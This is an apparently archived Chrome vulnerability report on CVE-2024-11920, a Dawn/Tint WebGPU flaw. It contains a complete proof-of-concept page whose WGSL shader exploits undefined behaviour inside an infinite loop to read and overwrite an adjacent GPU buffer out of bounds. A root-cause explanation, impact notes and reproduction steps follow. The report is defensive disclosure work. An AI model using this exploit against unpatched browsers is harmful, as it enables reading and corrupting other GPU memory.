Inappropriate implementation in Dawn (CVE-2024-11920)
A flaw in Dawn/Tint's handling of side-effect-free infinite loops allowed a WGSL shader to perform out-of-bounds reads and writes on GPU buffers. An attacker could read data from an unrelated buffer and overwrite it with controlled values.
Originally disclosed on Chrome VRP
- Fix shipped in 23 days
Steps to reproduce the problem
Test case
<script>
const log = console.log;
onload = async () => {
let adapter = await navigator.gpu.requestAdapter({});
let device = await adapter.requestDevice({});
device.pushErrorScope('validation');
let code = `
// when 'buffer0' is 256 bytes 'buf' will have 64 elements of type u32.
const moreThanArrayLength = 99;
// this is bound to buffer0, a 256 byte GPUBuffer
@group(0) @binding(0) var<storage, read_write> buf: array<u32>;
@compute @workgroup_size(1)
fn c() {
let maximumValidIndex = arrayLength(&buf) - 1;
let sameAsBoundedIndex = min(moreThanArrayLength, maximumValidIndex);
loop {
if sameAsBoundedIndex == arrayLength(&buf) {
// this reads 50505050 from laterBuffer and stores it into buffer0
buf[0] = buf[moreThanArrayLength];
// this writes 123456789 into laterBuffer
buf[moreThanArrayLength] = 123456789;
break;
}
}
}
`;
let module = device.createShaderModule({code});
let bindGroupLayout0 = device.createBindGroupLayout({
entries: [
{binding: 0, buffer: {type: 'storage'}, visibility: GPUShaderStage.FRAGMENT | GPUShaderStage.COMPUTE},
],
});
let buffer0 = device.createBuffer({
size: 256, usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_SRC,
});
// this buffer immediately follows buffer0. reading and writing out-of-bounds from buffer0 will access laterBuffer
let laterBuffer = device.createBuffer({
size: 4, usage: GPUBufferUsage.QUERY_RESOLVE | GPUBufferUsage.COPY_SRC | GPUBufferUsage.COPY_DST,
});
// this forces the allocation of the MTLBuffer for laterBuffer.
// it also writes a sentinel value into laterBuffer, to demonstrate a successful out-of-bounds read.
device.queue.writeBuffer(laterBuffer, 0, new Uint32Array([50505050]), 0, 1);
await device.queue.onSubmittedWorkDone();
let bindGroup0 = device.createBindGroup({
layout: bindGroupLayout0, entries: [
{binding: 0, resource: {buffer: buffer0}},
],
});
let pipelineLayout = device.createPipelineLayout({bindGroupLayouts: [bindGroupLayout0]});
let commandEncoder = device.createCommandEncoder();
let computePassEncoder = commandEncoder.beginComputePass({});
let computePipeline = device.createComputePipeline({layout: pipelineLayout, compute: {module}});
computePassEncoder.setPipeline(computePipeline);
computePassEncoder.setBindGroup(0, bindGroup0);
computePassEncoder.dispatchWorkgroups(1);
computePassEncoder.end();
let outputBuffer0 = device.createBuffer({size: laterBuffer.size, usage: GPUBufferUsage.COPY_DST | GPUBufferUsage.MAP_READ});
commandEncoder.copyBufferToBuffer(laterBuffer, 0, outputBuffer0, 0, laterBuffer.size);
let outputBuffer1 = device.createBuffer({size: buffer0.size, usage: GPUBufferUsage.COPY_DST | GPUBufferUsage.MAP_READ});
commandEncoder.copyBufferToBuffer(buffer0, 0, outputBuffer1, 0, buffer0.size);
device.queue.submit([commandEncoder.finish()]);
await device.queue.onSubmittedWorkDone();
await outputBuffer0.mapAsync(GPUMapMode.READ);
let out0 = new Uint32Array(outputBuffer0.getMappedRange());
// this prints 123456789
log(`from laterBuffer: ${out0[0]}`);
outputBuffer0.unmap();
await outputBuffer1.mapAsync(GPUMapMode.READ);
let out1 = new Uint32Array(outputBuffer1.getMappedRange());
// this prints 50505050
log(`from buffer0: ${out1[0]}`);
outputBuffer1.unmap();
let error = await device.popErrorScope();
if (error) {
log(error.message);
} else {
log('no validation error');
}
};
</script>
Problem Description
Notice
NOT A CONTRIBUTION: This report is provided for informational purposes and is not intended as a contribution. Any attached proof of concept code is provided under the MIT license. Where relevant, you may attribute this report to Apple Security Engineering and Architecture (SEAR).
Problem description
Dawn/Tint implements a mechanism which isolates undefined behavior caused by side-effect free infinite loops.
The MSL generated by Dawn/Tint includes the following definition, which is used to wrap loops:
#define TINT_ISOLATE_UB(VOLATILE_NAME) \
volatile bool VOLATILE_NAME = true; \
if (VOLATILE_NAME)
...
TINT_ISOLATE_UB(tint_volatile_true) while(true) {
}
The TINT_ISOLATE_UB mechanism protects against the following WGSL shader:
loop {
if sameAsBoundedIndex == arrayLength(&buf) {
break;
}
}
buf[moreThanArrayLength] = 123456789; // this is protected against
However, if the undefined behavior is taken advantage of inside the loop, the protection doesn’t help. This shader will write out of bounds:
loop {
if sameAsBoundedIndex == arrayLength(&buf) {
buf[moreThanArrayLength] = 123456789; // this still works
break;
}
}
On macOS Sequoia 15.0, stable Chrome, 129.0.6668.59 (Official Build) (arm64), the accompanying test case will read 50505050 from the contents of the unrelated laterBuffer, and replace it with 123456789 to demonstrate out-of-bounds read and write access.
We have not tested other platforms or operating systems.
Summary
out of bounds access on the GPU because of UB inside side-effect free infinite loop
Custom Questions
Reporter credit:
Apple Security Engineering and Architecture (SEAR).
Additional Data
Category: Security
Chrome Channel: Stable
Regression: N/A
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the TINT_ISOLATE_UB mechanism only wraps loops to prevent undefined behaviour from side-effect-free infinite loops, but does not protect against out-of-bounds accesses that occur inside such loops.
Impact
On macOS Sequoia 15.0 with stable Chrome, the test case demonstrated out-of-bounds read and write access to GPU memory; other platforms were not tested.
What the attacker needed
WebGPU support in the browser; victim visits a malicious page
How it was found
- Create a WebGPU adapter and device.
- Create a shader module with a compute shader that contains an infinite loop with an out-of-bounds access.
- Create two buffers: a 256-byte storage buffer and a small buffer placed immediately after it.
- Write a sentinel value into the second buffer.
- Run the compute shader and copy both buffers back to the CPU.
- Observe that the sentinel value was read from the second buffer and overwritten with a new value.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
WebGPU lets web pages run small programs on the graphics card. A mistake in how the browser translated these programs meant a page could read and change memory it should not touch, potentially leaking or corrupting data from other parts of the GPU.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.